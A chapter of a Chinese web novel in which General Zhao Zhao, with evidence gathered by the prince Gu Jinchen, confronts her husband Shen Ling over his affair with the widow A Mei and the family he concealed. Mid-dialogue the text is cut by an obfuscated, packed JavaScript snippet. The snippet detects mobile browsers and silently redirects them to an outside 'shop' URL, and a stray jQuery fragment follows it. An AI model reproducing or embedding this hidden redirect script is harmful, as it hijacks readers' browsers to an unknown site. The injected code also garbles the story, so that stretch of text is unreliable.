14. 对峙
    顾槿辰的暗卫不愧是皇家金牌暗卫,不到七日,就把沈岭的老底翻了个底朝天。

    “这卷、这卷、还有这卷,”顾槿辰抱着一堆卷轴进了侯府书房,“昭昭,这些卷轴里面写的都是沈岭那狗男人的罪行!”

    赵照翻开卷轴,前面几卷还很正常,详细写了沈岭是如何抛妻弃子,弃养年迈父母,以及如何恩将仇报与救命恩人的妻子有了私情的。后面几卷,沈岭的罪行就有些离谱了。

    譬如,某年某月某日,沈岭走在路上,不小心踩死了一只蚱蜢;再譬如,某年某月某日,沈岭又在路上踩死了一朵路边新开的野花,实在残忍至极;又譬如,某月某日,沈岭上书的奏折中,竟然有两个错别字,实在是大不敬!

    “顾槿辰!你看看,你这是在干什么?”赵照有些哭笑不得,“你家暗卫这么闲的吗?”

    要她看,后面这几卷分明就是小孔雀自己补上的,恐怕是他平日就看不惯沈岭,在偷偷记仇。

    顾槿辰果然心虚,他连忙转移话题,道:“昭昭,暗卫把沈岭那狗男人的阿父阿母还有妻儿都带来了,他们说,要将沈岭这不孝子告官!”

    “哦,”赵照来了兴趣,“他们当真舍得?”

    说到这点,顾槿辰一身气,他道:“昭昭,你不知道,沈岭那狗男人家中因为要供养他一个书生,家中值钱的物品早就变卖得一干二净,他阿父一个老人家为了三十文钱,每日要在码头扛比自身还要重的货物,他阿母也因为不分昼夜的刺绣双眼将近全瞎,至于他的原配妻子,每天不仅要想办法供养沈岭的一对儿女,还要负责操心一大家子的吃穿调度,生怕多花了一文钱,他们这么辛苦,唯一的盼头就是等沈岭高中了,可以和他一起过好日子,结果等来的却是他的死讯。”

    “忘恩负义的白眼狼,本殿下一定要让官府好好治治这不忠不孝之人!”

    赵照道:“消消气,槿辰。”

    说来可笑,赵照这几天有意控制自己的情绪,不想因为沈岭这个人渣气坏了身体,那天让她不要动气的顾槿辰倒是气性比她还大。

    “小大夫,可不能带坏病人啊!”赵照有意提醒顾槿辰,希望他也不要为了不值得的人动气。

    顾槿辰坐了下来,平息着自己的情绪,良久,他问道:“昭昭,如今认证物证具在,你打算何时与沈岭清算。”

    闻言,赵照沉默了一瞬,攥紧了手中的卷轴,眼中有泪光闪烁,她仰头不允许眼泪落下。

    “现在!”

    说完,不给自己犹豫反悔的时间,赵照起身径直走出书房。

    “哎,昭昭,等等我!”

    赵照走到马棚边牵了匹白马,然后她停了下来,回首看着追上来的顾槿辰,道:“槿辰,我先走一步,你带着卷轴和沈岭的家人一起去将军府找我!”

    说完,她翻身上马,一气呵成纵马出了侯府。

    *

    将军府门口。

    “将军,你回来了!”将军府的门房见到多日未归家的赵照,立刻殷勤地上前。

    赵照将拴马的缰绳递给门房,让他不要张扬自己归家的事,然后,径直往沈岭的书房走去。

    书房空无一人。

    很好,沈岭又不在。

    赵照攥着佩剑霜寒,强压着心底的愤怒和恶心,来到了阿梅的小苑。

    沈岭果然在那里!

    “沈岭,和我去书房一趟。”

    就差一点,赵照险些控住不住自己拔剑就要刺向沈岭,但阿梅还怀着孕,她不能惊吓到阿梅。

    这并不是说她多么宽宏大度,对阿梅和她腹中的孩子毫无芥蒂,赵照只是很清楚,这一切的一切,源头都在沈岭身上。

    沈岭对赵照心中所想一无所知,他只知道自己正在阿梅的小亭子中读书,赵照这消失了多日的女人上来就语气不善地喊自己去书房。

    “沈岭,听清楚没有,和我去书房!”

    赵照见沈岭满脸不服气,坐在那里一动不动,她又催促了一遍。

    是不是一直以来,她在沈岭面前太卑微,太予取予求了?以致沈岭一直不把自己的话放在心上。

    可如今,她已经不愿再爱他,他的那些高傲自尊,她再也不会小心翼翼地顾及了。

    赵照二次催促沈岭,他还是不愿起身,反而冷哼一声。

    “我的好娘子,玩腻了太子殿下,现在,终于想起沈某这个夫君了吗?”

    这阴阳怪气的语气,让赵照想起前世最后一次出征前她与沈岭的对话,她前世离京的时候对此遗憾重重,现下再听,却不会心痛了。

    对待不爱的人,她从来都是直接且暴力的。

    不欲多说,赵照上前抓住沈岭的衣襟,一把将他从凳子上薅起,拽着他往书房走去。

    “夫人!夫人!你要对小岭做什么?”

    阿梅焦急地追了上来,赵照故意扫了一眼她的小腹,她有所察觉,停下了脚步。

    沈岭并未注意到二人之间的小动作,一心都扑在赵照拽着他衣襟的那只手上,他多次努力想挣开,终究无果。

    一路上,将军府众多仆人都注意到沈岭的窘态,这让一向以高高在上,不沾人间烟火形象示人的沈岭羞得满脸通红。

    赵照很想问一句,既知礼仪廉耻,你又为何要做那寡廉鲜耻的勾当!

    “好了,昭昭,到书房了,你可以放开我了吗?”

    赵照闻言放开了他,也真亏他现在还叫得出“昭昭”。赵照嗤笑一声,为前世那个因爱而眼瞎耳聋的自己,她现在才发现,沈岭也挺能屈能伸的,这不也挺会正常说话的吗?

    “沈岭,我问你,”赵照坐在高高的书案上,抱臂翘腿,居高临下地审问着这虚伪至极的男人,“你和阿梅,是不是早有苟且?”

    沈岭正在整理散乱的衣襟,闻言吓了一跳,眼神闪烁,但立刻又低头继续慢条斯理地整理着衣襟。

    良久,他终于整理好衣冠,然后,慢慢抬起了胸膛,恢复了一贯的高高在上:“昭昭,我不是说过,我与阿梅,只是同乡好友,因她的夫君对我有救命之恩,我这才对她多加关照。”

    赵照感到又气又笑,但还是不动身色地问道:“那阿梅腹中的孩子,不是你的?”

    她今日倒要看看,沈岭到底能装到什么地步。

    “自然不是!”沈岭说得理直气壮,甚至还借机讥讽赵照,“我与阿梅的关系,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14294291|152146||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    可比不上昭昭你和太子殿下的关系,听说,这几日,太子殿下日日往你阿父的府中跑。”

    “沈某想知道,这太子殿下到底是去找你阿父,还是去找昭昭你的?”

    “怎么,昭昭你厌倦了沈某,所以今日想给沈某安一个通奸的罪名,这样,昭昭便可和太子殿下双宿双飞了,是吗?”

    说到这里,沈岭自觉发现了赵照今日反常的真相,开始喋喋不休地数落赵照婚后桩桩件件不守妇道之事。

    赵照还是第一次知道沈岭眼中的自己是这般不堪,她今日是彻底明白了,沈岭是蹬鼻子上脸习惯了,仗着自己喜欢他,天天想打压自己,想让自己变成他理想中妻子的模样。

    她前世与沈岭成婚七年了,二人之间还是磨合不好,恐怕就是因为自己虽然爱他,却还坚守着自己的本性,不愿为爱折腰。

    若是自己听了沈岭的话,甘心在家做一个温柔似水,严守妇道的贤惠妻子,可能前世她便可以与沈岭琴瑟和鸣了。

    可笑至极!

    没了棱角,失了本性的赵照,那还是她吗?能爱上那样赵照的沈岭,爱的根本不是赵照,而是他沈岭自身!

    不想听沈岭的长篇大论,赵照一句话打断了他,“你是说,你与阿梅没有私情,阿梅腹中的孩子也绝不是你的骨肉。”

    “对!”

    沈岭的回答还是和刚才那般坚决。

    “呵!”赵照实在忍不住,冷笑一声。

    沈岭却被她这声笑激怒了,他大义凛然地站在赵照面前,指责道:“昭昭,你怎可凭空诬蔑阿梅的清白。”

    “这世道,寡妇本就艰难,赵照你平日喜欢和那些外男不清不白就算了,毕竟你是大将军,无人敢指责你。”

    “可阿梅她只是一个无依无靠的寡妇,昭昭你这么说,被阿梅听到了,她恐怕会吓得自寻短见,昭昭你简直是在害人性命!”

    赵照就这么静静地看着沈岭,心想,原来你也知道这世道寡妇活得艰难啊?那你又为何和阿梅勾搭上了呢?因为你那小青梅温柔贤惠,以你为天?

    连撒两个谎,赵照打算问完最后一个问题,就揭露沈岭的真面目。到时,她倒要看看这沈岭会不会自寻短见,沈岭你不是觉得寡妇被诬蔑清白就该以死明志吗?那你如今真的做了那不清不白之事,你是否更应该以死明志。

    不过依她的观察,沈岭从来都说女子该守妇道,觉得女子要把清白看得比性命还重要,等换成他一个男子失了自身的清白,他肯定就是另外的说法了。

    赵照直视着沈岭,质问道:“好,那我们先不说阿梅的事,我问你最后一个问题,当初你与我成婚,关于你的家人,你可有一丝一毫的隐瞒?”

    沈岭的瞳仁蓦地扩大,终于有所察觉。

    他低下了头,不敢看赵照,赵照注意到他的手在微微发抖。

    还是到了这一步啊!赵照深吸一口气,仰着头,决绝地说道:“阿岭,说实话吧。就算,为了你我夫妻一场,诚实一次吧。”

    沈岭还是低头,沉默不语。

    这时,门外突然响起了顾槿辰愤怒的叫喊声。

    “他不愿意说,那就让他的老子娘代他说!”